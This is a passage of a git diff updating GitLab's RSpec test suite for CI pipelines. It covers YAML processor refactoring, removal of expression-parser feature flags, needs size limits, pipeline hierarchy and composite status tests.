+ expect(subject).not_to be_valid
+ expect(subject.errors).to eq(["test: needs 'build'"])
+ end
+ end
+
+ it 'uses Ci::CreatePipelineService' do
+ expect(::Ci::CreatePipelineService)
+ .to receive(:new)
+ .and_call_original
+
+ subject
+ end
+ end
+ end
+
+ context 'when user does not have permissions to write the ref' do
+ before do
+ project.add_reporter(user)
+ end
+
+ context 'when using default static mode' do
+ let(:dry_run) { false }
+
+ it_behaves_like 'content is valid'
+ end
+
+ context 'when using dry run mode' do
+ let(:dry_run) { true }
+
+ let(:content) do
+ <<~YAML
+ job:
+ script: echo
+ YAML
+ end
+
+ it 'does not allow validation' do
+ expect(subject).not_to be_valid
+ expect(subject.errors).to include('Insufficient permissions to create a new pipeline')
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/remove_unwanted_chat_jobs_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/remove_unwanted_chat_jobs_spec.rb
index 8b9de16ce5f..11e3f32c7ce 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/remove_unwanted_chat_jobs_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/remove_unwanted_chat_jobs_spec.rb
@@ -11,7 +11,7 @@ RSpec.describe ::Gitlab::Ci::Pipeline::Chain::RemoveUnwantedChatJobs do
let(:command) do
double(:command,
- config_processor: double(:processor,
+ yaml_processor_result: double(:processor,
jobs: { echo: double(:job_echo), rspec: double(:job_rspec) }),
project: project,
chat_data: { command: 'echo' })
@@ -25,7 +25,7 @@ RSpec.describe ::Gitlab::Ci::Pipeline::Chain::RemoveUnwantedChatJobs do
subject
- expect(command.config_processor.jobs.keys).to eq([:echo])
+ expect(command.yaml_processor_result.jobs.keys).to eq([:echo])
end
it 'does not remove any jobs for non chat-pipelines' do
@@ -33,7 +33,7 @@ RSpec.describe ::Gitlab::Ci::Pipeline::Chain::RemoveUnwantedChatJobs do
subject
- expect(command.config_processor.jobs.keys).to eq([:echo, :rspec])
+ expect(command.yaml_processor_result.jobs.keys).to eq([:echo, :rspec])
end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb b/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
index de580d2e148..e55281f9705 100644
--- a/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/chain/validate/external_spec.rb
@@ -31,20 +31,20 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
CI_YAML
end
- let(:yaml_processor) do
+ let(:yaml_processor_result) do
::Gitlab::Ci::YamlProcessor.new(
ci_yaml, {
project: project,
sha: pipeline.sha,
user: user
}
- )
+ ).execute
end
let(:save_incompleted) { true }
let(:command) do
Gitlab::Ci::Pipeline::Chain::Command.new(
- project: project, current_user: user, config_processor: yaml_processor, save_incompleted: save_incompleted
+ project: project, current_user: user, yaml_processor_result: yaml_processor_result, save_incompleted: save_incompleted
)
end
@@ -128,7 +128,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Chain::Validate::External do
end
describe '#validation_service_payload' do
- subject(:validation_service_payload) { step.send(:validation_service_payload, pipeline, command.config_processor.stages_attributes) }
+ subject(:validation_service_payload) { step.send(:validation_service_payload, pipeline, command.yaml_processor_result.stages_attributes) }
it 'respects the defined schema' do
expect(validation_service_payload).to match_schema('/external_validation')
diff --git a/spec/lib/gitlab/ci/pipeline/expression/lexer_spec.rb b/spec/lib/gitlab/ci/pipeline/expression/lexer_spec.rb
index 6e242faa885..fc5725a4d17 100644
--- a/spec/lib/gitlab/ci/pipeline/expression/lexer_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/expression/lexer_spec.rb
@@ -90,24 +90,7 @@ RSpec.describe Gitlab::Ci::Pipeline::Expression::Lexer do
end
with_them do
- context 'when ci_if_parenthesis_enabled is enabled' do
- before do
- stub_feature_flags(ci_if_parenthesis_enabled: true)
- end
-
- it { is_expected.to eq(tokens) }
- end
-
- context 'when ci_if_parenthesis_enabled is disabled' do
- before do
- stub_feature_flags(ci_if_parenthesis_enabled: false)
- end
-
- it do
- expect { subject }
- .to raise_error described_class::SyntaxError
- end
- end
+ it { is_expected.to eq(tokens) }
end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/expression/parser_spec.rb b/spec/lib/gitlab/ci/pipeline/expression/parser_spec.rb
index 3394a75ac0a..a02c247925e 100644
--- a/spec/lib/gitlab/ci/pipeline/expression/parser_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/expression/parser_spec.rb
@@ -3,10 +3,6 @@
require 'spec_helper'
RSpec.describe Gitlab::Ci::Pipeline::Expression::Parser do
- before do
- stub_feature_flags(ci_if_parenthesis_enabled: true)
- end
-
describe '#tree' do
context 'validates simple operators' do
using RSpec::Parameterized::TableSyntax
@@ -31,36 +27,15 @@ RSpec.describe Gitlab::Ci::Pipeline::Expression::Parser do
context 'when combining && and OR operators' do
subject { described_class.seed('$VAR1 == "a" || $VAR2 == "b" && $VAR3 == "c" || $VAR4 == "d" && $VAR5 == "e"').tree }
- context 'when parenthesis engine is enabled' do
- before do
- stub_feature_flags(ci_if_parenthesis_enabled: true)
- end
-
- it 'returns operations in a correct order' do
- expect(subject.inspect)
- .to eq('or(or(equals($VAR1, "a"), and(equals($VAR2, "b"), equals($VAR3, "c"))), and(equals($VAR4, "d"), equals($VAR5, "e")))')
- end
- end
-
- context 'when parenthesis engine is disabled (legacy)' do
- before do
- stub_feature_flags(ci_if_parenthesis_enabled: false)
- end
-
- it 'returns operations in a invalid order' do
- expect(subject.inspect)
- .to eq('or(equals($VAR1, "a"), and(equals($VAR2, "b"), or(equals($VAR3, "c"), and(equals($VAR4, "d"), equals($VAR5, "e")))))')
- end
+ it 'returns operations in a correct order' do
+ expect(subject.inspect)
+ .to eq('or(or(equals($VAR1, "a"), and(equals($VAR2, "b"), equals($VAR3, "c"))), and(equals($VAR4, "d"), equals($VAR5, "e")))')
end
end
context 'when using parenthesis' do
subject { described_class.seed('(($VAR1 == "a" || $VAR2 == "b") && $VAR3 == "c" || $VAR4 == "d") && $VAR5 == "e"').tree }
- before do
- stub_feature_flags(ci_if_parenthesis_enabled: true)
- end
-
it 'returns operations in a correct order' do
expect(subject.inspect)
.to eq('and(or(and(or(equals($VAR1, "a"), equals($VAR2, "b")), equals($VAR3, "c")), equals($VAR4, "d")), equals($VAR5, "e"))')
@@ -96,38 +71,21 @@ RSpec.describe Gitlab::Ci::Pipeline::Expression::Parser do
end
context 'when parenthesis are unmatched' do
- context 'when parenthesis engine is enabled' do
- before do
- stub_feature_flags(ci_if_parenthesis_enabled: true)
- end
-
- where(:expression) do
- [
- '$VAR == (',
- '$VAR2 == ("aa"',
- '$VAR2 == ("aa"))',
- '$VAR2 == "aa")',
- '(($VAR2 == "aa")',
- '($VAR2 == "aa"))'
- ]
- end
-
- with_them do
- it 'raises a ParseError' do
- expect { described_class.seed(expression).tree }
- .to raise_error Gitlab::Ci::Pipeline::Expression::Parser::ParseError
- end
- end
+ where(:expression) do
+ [
+ '$VAR == (',
+ '$VAR2 == ("aa"',
+ '$VAR2 == ("aa"))',
+ '$VAR2 == "aa")',
+ '(($VAR2 == "aa")',
+ '($VAR2 == "aa"))'
+ ]
end
- context 'when parenthesis engine is disabled' do
- before do
- stub_feature_flags(ci_if_parenthesis_enabled: false)
- end
-
- it 'raises an SyntaxError' do
- expect { described_class.seed('$VAR == (').tree }
- .to raise_error Gitlab::Ci::Pipeline::Expression::Lexer::SyntaxError
+ with_them do
+ it 'raises a ParseError' do
+ expect { described_class.seed(expression).tree }
+ .to raise_error Gitlab::Ci::Pipeline::Expression::Parser::ParseError
end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
index 733ab30132d..34df0e86a18 100644
--- a/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
+++ b/spec/lib/gitlab/ci/pipeline/seed/build_spec.rb
@@ -931,47 +931,30 @@ RSpec.describe Gitlab::Ci::Pipeline::Seed::Build do
context 'when using 101 needs' do
let(:needs_count) { 101 }
- context 'when ci_plan_needs_size_limit is disabled' do
+ it "returns an error" do
+ expect(subject.errors).to contain_exactly(
+ "rspec: one job can only need 50 others, but you have listed 101. See needs keyword documentation for more details")
+ end
+
+ context 'when ci_needs_size_limit is set to 100' do
before do
- stub_feature_flags(ci_plan_needs_size_limit: false)
+ project.actual_limits.update!(ci_needs_size_limit: 100)
end
it "returns an error" do
expect(subject.errors).to contain_exactly(
- "rspec: one job can only need 10 others, but you have listed 101. See needs keyword documentation for more details")
+ "rspec: one job can only need 100 others, but you have listed 101. See needs keyword documentation for more details")
end
end
- context 'when ci_plan_needs_size_limit is enabled' do
+ context 'when ci_needs_size_limit is set to 0' do
before do
- stub_feature_flags(ci_plan_needs_size_limit: true)
+ project.actual_limits.update!(ci_needs_size_limit: 0)
end
it "returns an error" do
expect(subject.errors).to contain_exactly(
- "rspec: one job can only need 50 others, but you have listed 101. See needs keyword documentation for more details")
- end
-
- context 'when ci_needs_size_limit is set to 100' do
- before do
- project.actual_limits.update!(ci_needs_size_limit: 100)
- end
-
- it "returns an error" do
- expect(subject.errors).to contain_exactly(
- "rspec: one job can only need 100 others, but you have listed 101. See needs keyword documentation for more details")
- end
- end
-
- context 'when ci_needs_size_limit is set to 0' do
- before do
- project.actual_limits.update!(ci_needs_size_limit: 0)
- end
-
- it "returns an error" do
- expect(subject.errors).to contain_exactly(
- "rspec: one job can only need 0 others, but you have listed 101. See needs keyword documentation for more details")
- end
+ "rspec: one job can only need 0 others, but you have listed 101. See needs keyword documentation for more details")
end
end
end
diff --git a/spec/lib/gitlab/ci/pipeline_object_hierarchy_spec.rb b/spec/lib/gitlab/ci/pipeline_object_hierarchy_spec.rb
new file mode 100644
index 00000000000..89602fe79d1
--- /dev/null
+++ b/spec/lib/gitlab/ci/pipeline_object_hierarchy_spec.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::PipelineObjectHierarchy do
+ include Ci::SourcePipelineHelpers
+
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:ancestor) { create(:ci_pipeline, project: project) }
+ let_it_be(:parent) { create(:ci_pipeline, project: project) }
+ let_it_be(:child) { create(:ci_pipeline, project: project) }
+ let_it_be(:cousin_parent) { create(:ci_pipeline, project: project) }
+ let_it_be(:cousin) { create(:ci_pipeline, project: project) }
+ let_it_be(:triggered_pipeline) { create(:ci_pipeline) }
+
+ before_all do
+ create_source_pipeline(ancestor, parent)
+ create_source_pipeline(ancestor, cousin_parent)
+ create_source_pipeline(parent, child)
+ create_source_pipeline(cousin_parent, cousin)
+ create_source_pipeline(child, triggered_pipeline)
+ end
+
+ describe '#base_and_ancestors' do
+ it 'includes the base and its ancestors' do
+ relation = described_class.new(::Ci::Pipeline.where(id: parent.id),
+ options: { same_project: true }).base_and_ancestors
+
+ expect(relation).to contain_exactly(ancestor, parent)
+ end
+
+ it 'can find ancestors upto a certain level' do
+ relation = described_class.new(::Ci::Pipeline.where(id: child.id),
+ options: { same_project: true }).base_and_ancestors(upto: ancestor.id)
+
+ expect(relation).to contain_exactly(parent, child)
+ end
+
+ describe 'hierarchy_order option' do
+ let(:relation) do
+ described_class.new(::Ci::Pipeline.where(id: child.id),
+ options: { same_project: true }).base_and_ancestors(hierarchy_order: hierarchy_order)
+ end
+
+ context ':asc' do
+ let(:hierarchy_order) { :asc }
+
+ it 'orders by child to ancestor' do
+ expect(relation).to eq([child, parent, ancestor])
+ end
+ end
+
+ context ':desc' do
+ let(:hierarchy_order) { :desc }
+
+ it 'orders by ancestor to child' do
+ expect(relation).to eq([ancestor, parent, child])
+ end
+ end
+ end
+ end
+
+ describe '#base_and_descendants' do
+ it 'includes the base and its descendants' do
+ relation = described_class.new(::Ci::Pipeline.where(id: parent.id),
+ options: { same_project: true }).base_and_descendants
+
+ expect(relation).to contain_exactly(parent, child)
+ end
+
+ context 'when with_depth is true' do
+ let(:relation) do
+ described_class.new(::Ci::Pipeline.where(id: ancestor.id),
+ options: { same_project: true }).base_and_descendants(with_depth: true)
+ end
+
+ it 'includes depth in the results' do
+ object_depths = {
+ ancestor.id => 1,
+ parent.id => 2,
+ cousin_parent.id => 2,
+ child.id => 3,
+ cousin.id => 3
+ }
+
+ relation.each do |object|
+ expect(object.depth).to eq(object_depths[object.id])
+ end
+ end
+ end
+ end
+
+ describe '#all_objects' do
+ it 'includes its ancestors and descendants' do
+ relation = described_class.new(::Ci::Pipeline.where(id: parent.id),
+ options: { same_project: true }).all_objects
+
+ expect(relation).to contain_exactly(ancestor, parent, child)
+ end
+
+ it 'returns all family tree' do
+ relation = described_class.new(
+ ::Ci::Pipeline.where(id: child.id),
+ described_class.new(::Ci::Pipeline.where(id: child.id), options: { same_project: true }).base_and_ancestors,
+ options: { same_project: true }
+ ).all_objects
+
+ expect(relation).to contain_exactly(ancestor, parent, cousin_parent, child, cousin)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/reports/test_case_spec.rb b/spec/lib/gitlab/ci/reports/test_case_spec.rb
index 8882defbd9e..7fb208213c1 100644
--- a/spec/lib/gitlab/ci/reports/test_case_spec.rb
+++ b/spec/lib/gitlab/ci/reports/test_case_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Ci::Reports::TestCase do
describe '#initialize' do
- let(:test_case) { described_class.new(params)}
+ let(:test_case) { described_class.new(params) }
context 'when both classname and name are given' do
context 'when test case is passed' do
@@ -62,7 +62,9 @@ RSpec.describe Gitlab::Ci::Reports::TestCase do
end
context 'when attachment is present' do
- let(:attachment_test_case) { build(:test_case, :failed_with_attachment) }
+ let_it_be(:job) { create(:ci_build) }
+
+ let(:attachment_test_case) { build(:test_case, :failed_with_attachment, job: job) }
it "initializes the attachment if present" do
expect(attachment_test_case.attachment).to eq("some/path.png")
diff --git a/spec/lib/gitlab/ci/reports/test_suite_spec.rb b/spec/lib/gitlab/ci/reports/test_suite_spec.rb
index fbe3473f6b0..15fa78444e5 100644
--- a/spec/lib/gitlab/ci/reports/test_suite_spec.rb
+++ b/spec/lib/gitlab/ci/reports/test_suite_spec.rb
@@ -176,6 +176,37 @@ RSpec.describe Gitlab::Ci::Reports::TestSuite do
end
end
+ describe '#sorted' do
+ subject { test_suite.sorted }
+
+ context 'when there are multiple failed test cases' do
+ before do
+ test_suite.add_test_case(create_test_case_rspec_failed('test_spec_1', 1.11))
+ test_suite.add_test_case(create_test_case_rspec_failed('test_spec_2', 4.44))
+ end
+
+ it 'returns test cases sorted by execution time desc' do
+ expect(subject.test_cases['failed'].each_value.first.execution_time).to eq(4.44)
+ expect(subject.test_cases['failed'].values.second.execution_time).to eq(1.11)
+ end
+ end
+
+ context 'when there are multiple test cases' do
+ let(:status_ordered) { %w(error failed success skipped) }
+
+ before do
+ test_suite.add_test_case(test_case_success)
+ test_suite.add_test_case(test_case_failed)
+ test_suite.add_test_case(test_case_error)
+ test_suite.add_test_case(test_case_skipped)
+ end
+
+ it 'returns test cases sorted by status' do
+ expect(subject.test_cases.keys).to eq(status_ordered)
+ end
+ end
+ end
+
Gitlab::Ci::Reports::TestCase::STATUS_TYPES.each do |status_type|
describe "##{status_type}" do
subject { test_suite.public_send("#{status_type}") }
diff --git a/spec/lib/gitlab/ci/status/bridge/common_spec.rb b/spec/lib/gitlab/ci/status/bridge/common_spec.rb
new file mode 100644
index 00000000000..92600b21afc
--- /dev/null
+++ b/spec/lib/gitlab/ci/status/bridge/common_spec.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Ci::Status::Bridge::Common do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:bridge) { create(:ci_bridge) }
+ let_it_be(:downstream_pipeline) { create(:ci_pipeline) }
+
+ before_all do
+ create(:ci_sources_pipeline,
+ source_pipeline: bridge.pipeline,
+ source_project: bridge.pipeline.project,
+ source_job: bridge,
+ pipeline: downstream_pipeline,
+ project: downstream_pipeline.project)
+ end
+
+ subject do
+ Gitlab::Ci::Status::Core
+ .new(bridge, user)
+ .extend(described_class)
+ end
+
+ describe '#details_path' do
+ context 'when user has access to read downstream pipeline' do
+ before do
+ downstream_pipeline.project.add_developer(user)
+ end
+
+ it { expect(subject).to have_details }
+ it { expect(subject.details_path).to include "pipelines/#{downstream_pipeline.id}" }
+
+ context 'when ci_bridge_pipeline_details is disabled' do
+ before do
+ stub_feature_flags(ci_bridge_pipeline_details: false)
+ end
+
+ it { expect(subject).not_to have_details }
+ it { expect(subject.details_path).to be_nil }
+ end
+ end
+
+ context 'when user does not have access to read downstream pipeline' do
+ it { expect(subject).not_to have_details }
+ it { expect(subject.details_path).to be_nil }
+ end
+ end
+end
diff --git a/spec/lib/gitlab/ci/status/composite_spec.rb b/spec/lib/gitlab/ci/status/composite_spec.rb
index e1dcd05373f..bcfb9f19792 100644
--- a/spec/lib/gitlab/ci/status/composite_spec.rb
+++ b/spec/lib/gitlab/ci/status/composite_spec.rb
@@ -20,7 +20,7 @@ RSpec.describe Gitlab::Ci::Status::Composite do
shared_examples 'compares status and warnings' do
let(:composite_status) do
- described_class.new(all_statuses)
+ described_class.new(all_statuses, dag: dag)
end
it 'returns status and warnings?' do
@@ -30,21 +30,29 @@ RSpec.describe Gitlab::Ci::Status::Composite do
end
context 'allow_failure: false' do
- where(:build_statuses, :result, :has_warnings) do
- %i(skipped) | 'skipped' | false
- %i(skipped success) | 'success' | false
- %i(created) | 'created' | false
- %i(preparing) | 'preparing' | false
- %i(canceled success skipped) | 'canceled' | false
- %i(pending created skipped) | 'pending' | false
- %i(pending created skipped success) | 'running' | false
- %i(running created skipped success) | 'running' | false
- %i(success waiting_for_resource) | 'waiting_for_resource' | false
- %i(success manual) | 'manual' | false
- %i(success scheduled) | 'scheduled' | false
- %i(created preparing) | 'preparing' | false
- %i(created success pending) | 'running' | false
- %i(skipped success failed) | 'failed' | false
+ where(:build_statuses, :dag, :result, :has_warnings) do
+ %i(skipped) | false | 'skipped' | false
+ %i(skipped success) | false | 'success' | false
+ %i(skipped success) | true | 'skipped' | false
+ %i(created) | false | 'created' | false
+ %i(preparing) | false | 'preparing' | false
+ %i(canceled success skipped) | false | 'canceled' | false
+ %i(canceled success skipped) | true | 'skipped' | false
+ %i(pending created skipped) | false | 'pending' | false
+ %i(pending created skipped success) | false | 'running' | false
+ %i(running created skipped success) | false | 'running' | false
+ %i(pending created skipped) | true | 'skipped' | false
+ %i(pending created skipped success) | true | 'skipped' | false
+ %i(running created skipped success) | true | 'skipped' | false
+ %i(success waiting_for_resource) | false | 'waiting_for_resource' | false
+ %i(success manual) | false | 'manual' | false
+ %i(success scheduled) | false | 'scheduled' | false
+ %i(created preparing) | false | 'preparing' | false
+ %i(created success pending) | false | 'running' | false
+ %i(skipped success failed) | false | 'failed' | false
+ %i(skipped success failed) | true | 'skipped' | false
+ %i(success manual) | true | 'pending' | false
+ %i(success failed created) | true | 'pending' | false
end
with_them do
@@ -57,11 +65,12 @@ RSpec.describe Gitlab::Ci::Status::Composite do
end
context 'allow_failure: true' do
- where(:build_statuses, :result, :has_warnings) do
- %i(manual) | 'skipped' | false
- %i(skipped failed) | 'success' | true
- %i(created failed) | 'created' | true
- %i(preparing manual) | 'preparing' | false
+ where(:build_statuses, :dag, :result, :has_warnings) do
+ %i(manual) | false | 'skipped' | false
+ %i(skipped failed) | false | 'success' | true
+ %i(skipped failed) | true | 'skipped' | true
+ %i(created failed) | false | 'created' | true
+ %i(preparing manual) | false | 'preparing' | false
end
with_them do
diff --git a/spec/lib/gitlab/ci/templates/templates_spec.rb b/spec/lib/gitlab/ci/templates/templates_spec.rb
index def4d1b3bf6..768256ee6b3 100644
--- a/spec/lib/gitlab/ci/templates/templates_spec.rb
+++ b/spec/lib/gitlab/ci/templates/templates_spec.rb
@@ -3,21 +3,21 @@
require 'spec_helper'
RSpec.describe 'CI YML Templates' do
- subject { Gitlab::Ci::YamlProcessor.new(content) }
+ subject { Gitlab::Ci::YamlProcessor.new(content).execute }
let(:all_templates) { Gitlab::Template::GitlabCiYmlTemplate.all.map(&:full_name) }
- let(:disabled_templates) do
- Gitlab::Template::GitlabCiYmlTemplate.disabled_templates.map do |template|
- template + Gitlab::Template::GitlabCiYmlTemplate.extension
+ let(:excluded_templates) do
+ all_templates.select do |name|
+ Gitlab::Template::GitlabCiYmlTemplate.excluded_patterns.any? { |pattern| pattern.match?(name) }
end
end
- context 'included in a CI YAML configuration' do
+ context 'when including available templates in a CI YAML configuration' do
using RSpec::Parameterized::TableSyntax
where(:template_name) do
- all_templates - disabled_templates
+ all_templates - excluded_templates
end
with_them do
@@ -33,7 +33,7 @@ RSpec.describe 'CI YML Templates' do
end
it 'is valid' do
- expect { subject }.not_to raise_error
+ expect(subject).to be_valid
end
it 'require default stages to be included' do
@@ -41,4 +41,29 @@ RSpec.describe 'CI YML Templates' do
end
end
end
+
+ context 'when including unavailable templates in a CI YAML configuration' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:template_name) do
+ excluded_templates
+ end
+
+ with_them do
+ let(:content) do
+ <<~EOS
+ include:
+ - template: #{template_name}
+
+ concrete_build_implemented_by_a_user:
+ stage: test
+ script: do something
+ EOS
+ end
+
+ it 'is not valid' do
+ expect(subject).not_to be_valid
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/ci/trace/stream_spec.rb b/spec/lib/gitlab/ci/trace/stream_spec.rb
index e28469c9404..d65b6fb41f6 100644
--- a/spec/lib/gitlab/ci/trace/stream_spec.rb
+++ b/spec/lib/gitlab/ci/trace/stream_spec.rb
@@ -151,6 +151,28 @@ RSpec.describe Gitlab::Ci::Trace::Stream, :clean_gitlab_redis_cache do
it_behaves_like 'appends'
end
+
+ describe 'metrics' do
+ let(:metrics) { spy('metrics') }
+ let(:io) { StringIO.new }
+ let(:stream) { described_class.new(metrics) { io } }
+
+ it 'increments trace streamed operation' do
+ stream.append(+'123456', 0)
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :streamed)
+ end
+
+ it 'increments trace bytes counter' do
+ stream.append(+'123456', 0)
+
+ expect(metrics)
+ .to have_received(:increment_trace_bytes)
+ .with(6)
+ end
+ end
end
describe '#set' do
diff --git a/spec/lib/gitlab/ci/trace_spec.rb b/spec/lib/gitlab/ci/trace_spec.rb
index 85edf27d3e7..171877dbaee 100644
--- a/spec/lib/gitlab/ci/trace_spec.rb
+++ b/spec/lib/gitlab/ci/trace_spec.rb
@@ -11,6 +11,29 @@ RSpec.describe Gitlab::Ci::Trace, :clean_gitlab_redis_shared_state do
it { expect(trace).to delegate_method(:old_trace).to(:job) }
end
+ context 'when trace is migrated to object storage' do
+ let!(:job) { create(:ci_build, :trace_artifact) }
+ let!(:artifact1) { job.job_artifacts_trace }
+ let!(:artifact2) { job.reload.job_artifacts_trace }
+ let(:test_data) { "hello world" }
+
+ before do
+ stub_artifacts_object_storage
+
+ artifact1.file.migrate!(ObjectStorage::Store::REMOTE)
+ end
+
+ it 'reloads the trace after is it migrated' do
+ stub_const('Gitlab::HttpIO::BUFFER_SIZE', test_data.length)
+
+ expect_next_instance_of(Gitlab::HttpIO) do |http_io|
+ expect(http_io).to receive(:get_chunk).and_return(test_data, "")
+ end
+
+ expect(artifact2.job.trace.raw).to eq(test_data)
+ end
+ end
+
context 'when live trace feature is disabled' do
before do
stub_feature_flags(ci_enable_live_trace: false)
diff --git a/spec/lib/gitlab/ci/yaml_processor_spec.rb b/spec/lib/gitlab/ci/yaml_processor_spec.rb
index 1c81cc83cd1..d596494a987 100644
--- a/spec/lib/gitlab/ci/yaml_processor_spec.rb
+++ b/spec/lib/gitlab/ci/yaml_processor_spec.rb
@@ -7,10 +7,16 @@ module Gitlab
RSpec.describe YamlProcessor do
include StubRequests
- subject { described_class.new(config, user: nil) }
+ subject { described_class.new(config, user: nil).execute }
+
+ shared_examples 'returns errors' do |error_message|
+ it 'adds a message when an error is encountered' do
+ expect(subject.errors).to include(error_message)
+ end
+ end
describe '#build_attributes' do
- subject { described_class.new(config, user: nil).build_attributes(:rspec) }
+ subject { described_class.new(config, user: nil).execute.build_attributes(:rspec) }
describe 'attributes list' do
let(:config) do
@@ -92,7 +98,7 @@ module Gitlab
config = YAML.dump({ default: { tags: %w[A B] },
rspec: { script: "rspec" } })
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes("test").size).to eq(1)
expect(config_processor.stage_builds_attributes("test").first).to eq({
@@ -139,7 +145,7 @@ module Gitlab
config = YAML.dump({ default: { interruptible: true },
rspec: { script: "rspec" } })
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes("test").size).to eq(1)
expect(config_processor.stage_builds_attributes("test").first).to eq({
@@ -345,9 +351,7 @@ module Gitlab
EOYML
end
- it 'parses the workflow:rules configuration' do
- expect { subject }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError, 'workflow config contains unknown keys: variables')
- end
+ it_behaves_like 'returns errors', 'workflow config contains unknown keys: variables'
end
context 'with rules and variables' do
@@ -470,12 +474,11 @@ module Gitlab
end
it 'is propagated all the way up into the raised exception' do
- expect { subject }.to raise_error do |error|
- expect(error).to be_a(described_class::ValidationError)
- expect(error.message).to eq('jobs:invalid:artifacts config should be a hash')
- expect(error.warnings).to contain_exactly(/jobs:rspec may allow multiple pipelines to run/)
- end
+ expect(subject).not_to be_valid
+ expect(subject.warnings).to contain_exactly(/jobs:rspec may allow multiple pipelines to run/)
end
+
+ it_behaves_like 'returns errors', 'jobs:invalid:artifacts config should be a hash'
end
context 'when error is raised before composing the config' do
@@ -489,23 +492,18 @@ module Gitlab
EOYML
end
- it 'raises an exception with empty warnings array' do
- expect { subject }.to raise_error do |error|
- expect(error).to be_a(described_class::ValidationError)
- expect(error.message).to eq('Local file `unknown/file.yml` does not have project!')
- expect(error.warnings).to be_empty
- end
+ it 'has empty warnings' do
+ expect(subject.warnings).to be_empty
end
+
+ it_behaves_like 'returns errors', 'Local file `unknown/file.yml` does not have project!'
end
context 'when error is raised after composing the config with warnings' do
shared_examples 'has warnings and expected error' do |error_message|
- it 'raises an exception including warnings' do
- expect { subject }.to raise_error do |error|
- expect(error).to be_a(described_class::ValidationError)
- expect(error.message).to match(error_message)
- expect(error.warnings).to be_present
- end
+ it 'returns errors and warnings', :aggregate_failures do
+ expect(subject.errors).to include(error_message)
+ expect(subject.warnings).to be_present
end
end
@@ -585,72 +583,56 @@ module Gitlab
describe 'only / except policies validations' do
context 'when `only` has an invalid value' do
let(:config) { { rspec: { script: "rspec", type: "test", only: only } } }
- let(:processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) }
+
+ subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
context 'when it is integer' do
let(:only) { 1 }
- it do
- expect { processor }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- 'jobs:rspec:only has to be either an array of conditions or a hash')
- end
+ it_behaves_like 'returns errors', 'jobs:rspec:only has to be either an array of conditions or a hash'
end
context 'when it is an array of integers' do
let(:only) { [1, 1] }
- it do
- expect { processor }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- 'jobs:rspec:only config should be an array of strings or regexps')
- end
+ it_behaves_like 'returns errors', 'jobs:rspec:only config should be an array of strings or regexps'
end
context 'when it is invalid regex' do
let(:only) { ["/*invalid/"] }
- it do
- expect { processor }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- 'jobs:rspec:only config should be an array of strings or regexps')
- end
+ it_behaves_like 'returns errors', 'jobs:rspec:only config should be an array of strings or regexps'
end
end
context 'when `except` has an invalid value' do
let(:config) { { rspec: { script: "rspec", except: except } } }
- let(:processor) { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)) }
+
+ subject { Gitlab::Ci::YamlProcessor.new(YAML.dump(config)).execute }
context 'when it is integer' do
let(:except) { 1 }
- it do
- expect { processor }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- 'jobs:rspec:except has to be either an array of conditions or a hash')
- end
+ it_behaves_like 'returns errors', 'jobs:rspec:except has to be either an array of conditions or a hash'
end
context 'when it is an array of integers' do
let(:except) { [1, 1] }
- it do
- expect { processor }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- 'jobs:rspec:except config should be an array of strings or regexps')
- end
+ it_behaves_like 'returns errors', 'jobs:rspec:except config should be an array of strings or regexps'
end
context 'when it is invalid regex' do
let(:except) { ["/*invalid/"] }
- it do
- expect { processor }.to raise_error(Gitlab::Ci::YamlProcessor::ValidationError,
- 'jobs:rspec:except config should be an array of strings or regexps')
- end
+ it_behaves_like 'returns errors', 'jobs:rspec:except config should be an array of strings or regexps'
end
end
end
describe "Scripts handling" do
let(:config_data) { YAML.dump(config) }
- let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config_data) }
+ let(:config_processor) { Gitlab::Ci::YamlProcessor.new(config_data).execute }
subject { config_processor.stage_builds_attributes('test').first }
@@ -819,7 +801,7 @@ module Gitlab
before_script: ["pwd"],
rspec: { script: "rspec" } })
- config_processor = Gitlab::Ci::YamlProcessor.new(config)
+ config_processor = Gitlab::Ci::YamlProcessor.new(config).execute
expect(config_processor.stage_builds_attributes("test").size).to eq(1)
expect(config_processor.stage_builds_attributes("test").first).to eq({
@@ -852,7 +834,7 @@ module Gitlab
